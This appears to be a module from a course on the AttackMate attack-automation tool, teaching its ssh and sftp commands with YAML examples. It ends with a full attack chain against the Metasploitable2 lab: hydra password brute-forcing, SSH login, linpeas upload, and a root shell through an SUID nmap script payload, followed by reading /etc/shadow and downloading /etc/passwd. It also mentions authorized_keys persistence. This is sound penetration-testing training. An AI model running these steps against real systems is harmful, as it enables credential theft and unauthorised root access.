

Module 5: SSH and SFTP

The ssh Command

The `ssh` command executes commands on a remote host via SSH. This is how you interact with a compromised machine after gaining credentials.

Background: SSH Authentication

SSH (Secure Shell) encrypts the entire session. Before any commands run, the client and server perform a handshake to authenticate each other. There are two common methods for authenticating the `user`:

Password authentication The client sends the username and password to the server. The server checks them against `/etc/shadow` (or PAM).

Public key authentication The client generates a keypair: a **private key** (kept secret on the attacker machine) and a **public key** (installed on the target in `~/.ssh/authorized_keys`). During login, the server sends a challenge encrypted with the public key. Only the holder of the matching private key can decrypt and answer it. No password is transmitted. This is why installing a public key in `authorized_keys` is an effective persistence technique: the attacker can log back in silently at any time, even if the account password is changed.

AttackMate supports both methods: use `password` for password auth or `key_filename` pointing to the private key file for key-based auth.

Basic Usage

```
commands:
- type: ssh
  cmd: id
  hostname: 192.168.1.100
  username: user
  password: user
```

Connection Options

Option	Default	Description
hostname	-	IP or hostname of the target
port	22	SSH port
username	-	SSH username
password	-	SSH password
key_filename	-	Path to SSH private key

Option	Default	Description
passphrase	-	Passphrase for the private key
timeout	60	Connection timeout in seconds

Setting Cache

SSH caches all connection settings after the first command. This means you only need to specify hostname, username, and password **once**:

```
commands:
  # First command: define all connection settings
  - type: ssh
    cmd: id
    hostname: 192.168.1.100
    username: user
    password: user

  # Subsequent commands: settings are reused automatically
  - type: ssh
    cmd: whoami

  - type: ssh
    cmd: uname -a
```

Use `clear_cache: True` to reset cached settings when connecting to a different host.

Sessions

Sessions keep an SSH connection open across multiple commands. Without sessions, each `ssh` command opens a new connection, runs the command, and disconnects. With sessions, you maintain state (working directory, environment, elevated privileges).

Creating and Using Sessions

```
commands:
  # Create a named session
  - type: ssh
    cmd: id
    hostname: 192.168.1.100
    username: user
    password: user
    creates_session: "foothold"

  # Reuse the session (same connection, state is preserved)
  - type: ssh
    cmd: cd /tmp && pwd
    session: "foothold"
```

```
- type: ssh
  cmd: ls -la
  session: "foothold"
```

Why Sessions Matter

Without a session:

```
Command 1: ssh user@host "cd /tmp"    -> disconnects
Command 2: ssh user@host "pwd"        -> new connection, pwd = /home/user
(not /tmp!)
```

With a session:

```
Command 1: ssh(session) "cd /tmp"    -> stays connected
Command 2: ssh(session) "pwd"        -> same connection, pwd = /tmp
```

Sessions are essential when you need to:

- Maintain a working directory
- Keep elevated privileges
- Run multi-step operations that depend on previous state

Interactive Mode

Some commands don't return immediately. They open an interactive prompt or produce output over time. Interactive mode handles this by reading output until either:

- No new output appears for `command_timeout` seconds, OR
- The output ends with a recognized prompt (`$`, `#`, `>`)

Important!: Commands in interactive mode **must** end with `\n`.

```
commands:
  # Start an interactive SSH session
  - type: ssh
    cmd: "bash\n"
    hostname: 192.168.1.100
    username: user
    password: user
    interactive: True
    creates_session: "foothold"

  # Send commands to the interactive session
  - type: ssh
```

```
cmd: "id\n"
session: "foothold"
interactive: True

- type: ssh
cmd: "cat /etc/passwd\n"
session: "foothold"
interactive: True
```

Custom Prompts

By default, AttackMate recognizes \$, # , and > as prompts. You can customize this:

```
- type: ssh
cmd: "python3\n"
interactive: True
prompts:
  - ">>> "
  - "... "
creates_session: "python_shell"
```

Long-Running Commands

For commands that take a long time without producing output (like running [linpeas](#), a privilege escalation enumeration script), set `command_timeout: 0` to disable the timeout:

```
- type: ssh
cmd: "bash /tmp/linpeas.sh\n"
interactive: True
command_timeout: 0
```

SFTP File Transfer

The `sftp` command transfers files between the attacker and the target. It shares the same connection settings and session cache as `ssh`.

Upload a File

```
commands:
  # Create an SSH session first
  - type: ssh
    cmd: id
    hostname: 192.168.1.100
    username: user
    password: user
```

```
creates_session: "foothold"

# Upload a file using the same session
- type: sftp
  cmd: put
  local_path: /tmp/linpeas.sh
  remote_path: /tmp/linpeas.sh
  session: "foothold"
  mode: "777"
```

Download a File

```
commands:
- type: sftp
  cmd: get
  remote_path: /etc/passwd
  local_path: /tmp/stolen_passwd
  session: "foothold"
```

SFTP Options

Option	Description
<code>cmd</code>	<code>put</code> (upload) or <code>get</code> (download)
<code>local_path</code>	Path on the attacker machine
<code>remote_path</code>	Path on the target machine
<code>mode</code>	File permissions to set after upload (e.g., <code>755</code>)

Practical Example: Full SSH Attack Chain

This example demonstrates a complete SSH attack scenario against Metasploitable2.

What is a SUID binary? On Linux, the SUID (Set User ID) permission bit causes a program to run with the privileges of its **owner** rather than the user who executes it. When a binary owned by root has the SUID bit set, anyone who runs it effectively runs it as root. LinPeas and other enumeration tools scan for SUID binaries because they are a common path to privilege escalation. On Metasploitable2, nmap is installed with SUID and its old `--script` option lets us execute arbitrary code as root.

```
vars:
  TARGET: 192.168.1.100
  PASSWDLIST: /usr/share/seclists/Passwords/passwordlist.txt

commands:
# 1. Reconnaissance
- type: shell
```

```
cmd: nmap -A -T4 $TARGET

# 2. Bruteforce FTP credentials
- type: shell
cmd: hydra -l user -P $PASSWDLIST $TARGET ftp

# 3. Extract the password from hydra output
- type: regex
cmd: ".*login: user.+password: (.+)"
output:
  USERPW: "$MATCH_0"

- type: debug
cmd: "Password found: $USERPW"

# 4. SSH login with the discovered password
- type: ssh
cmd: id
username: user
password: "$USERPW"
hostname: $TARGET
creates_session: "foothold"

# 5. Upload linpeas to target (pre-installed on attacker at /opt/tools/)
- type: sftp
cmd: put
local_path: /opt/tools/linpeas.sh
remote_path: /tmp/linpeas.sh
session: "foothold"
mode: "777"

# 6. Execute linpeas
- type: ssh
cmd: "bash /tmp/linpeas.sh\n"
save: /tmp/linpeas_output.txt
exit_on_error: False
interactive: True
command_timeout: 0

# 7. Privilege escalation via nmap SUID
#
# On Metasploitable2, nmap is installed with the SUID bit set, meaning
# it runs as root regardless of who invokes it. Older versions of nmap
# (before 5.0) have a --script option that can execute code. By
# writing a snippet that calls os.execute('/bin/sh'), we trick nmap
# into spawning a root shell for us.
#
# Step 7a: Create a file containing the 5payload
- type: ssh
cmd: echo "os.execute('/bin/sh')" > somefile
session: foothold

# Step 7b: Run nmap with --script pointing to our payload.
# Because nmap has SUID, the /bin/sh it spawns will run as root.
```

```
# We use interactive mode because this opens a new shell.
- type: ssh
  cmd: "nmap --script=./somefile localhost\n"
  session: foothold
  interactive: True

# 8. Verify root access
- type: ssh
  cmd: "id\n"
  session: foothold
  interactive: True

# /etc/shadow stores the hashed passwords of all system users.
# It is readable only by root, so being able to read it proves
# that we have successfully escalated to root privileges.
- type: ssh
  cmd: "grep root /etc/shadow\n"
  session: foothold
  interactive: True
```

This is essentially the `ssh_example.yml` from the `attackmate/examples` directory. We will walk through it step by step in the guided exercise.

Further reading:

- [SSH command reference](#) and [SFTP command reference](#) in the official docs
- [Metasploitable2 exploitability guide](#) (details on all vulnerable services)